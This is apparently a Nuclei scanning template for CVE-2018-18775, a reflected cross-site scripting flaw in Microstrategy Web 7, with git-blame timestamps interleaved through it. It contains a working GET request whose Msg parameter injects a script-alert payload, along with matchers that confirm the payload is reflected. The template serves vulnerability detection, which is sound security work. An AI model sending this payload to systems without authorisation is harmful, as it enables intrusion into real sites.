2021-06-20 10:16:44 +00:00
id : CVE-2018-18775
info :
2022-07-26 13:45:11 +00:00
name : Microstrategy Web 7 - Cross-Site Scripting
2021-06-20 10:16:44 +00:00
author : 0x_Akoko
severity : medium
2022-07-26 13:45:11 +00:00
description : Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
2023-09-06 12:57:14 +00:00
remediation : |
Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/45755
2022-05-17 09:18:12 +00:00
- http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-18775
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-18775
cwe-id : CWE-79
2023-11-14 05:56:48 +00:00
epss-score : 0.00157
2023-11-20 05:10:39 +00:00
epss-percentile : 0.5209
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : microstrategy
product : microstrategy_web
tags : cve2018,microstrategy,xss,edb,packetstorm,cve,intrusive
2021-06-20 10:16:44 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-20 10:16:44 +00:00
- method : GET
path :
2023-07-11 19:49:27 +00:00
- "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C"
2021-06-20 10:16:44 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-06-20 10:16:44 +00:00
words :
2021-06-20 11:19:24 +00:00
- '"><script>alert(/{{randstr}}/);</script>'
2021-06-20 10:16:44 +00:00
- type : word
part : header
2023-07-11 19:49:27 +00:00
words :
- text/html
- type : status
status :
- 200
2023-11-20 06:35:10 +00:00
# digest: 4a0a00473045022100e48cf8232afce9d8d684474244532161ae2e156896d1a83b07c640a41599bf390220389510c1e5061698ed0b7f15b474f313474674ae530870d422c33a2821c4052b:922c64590222798bb761d5b6d8e72950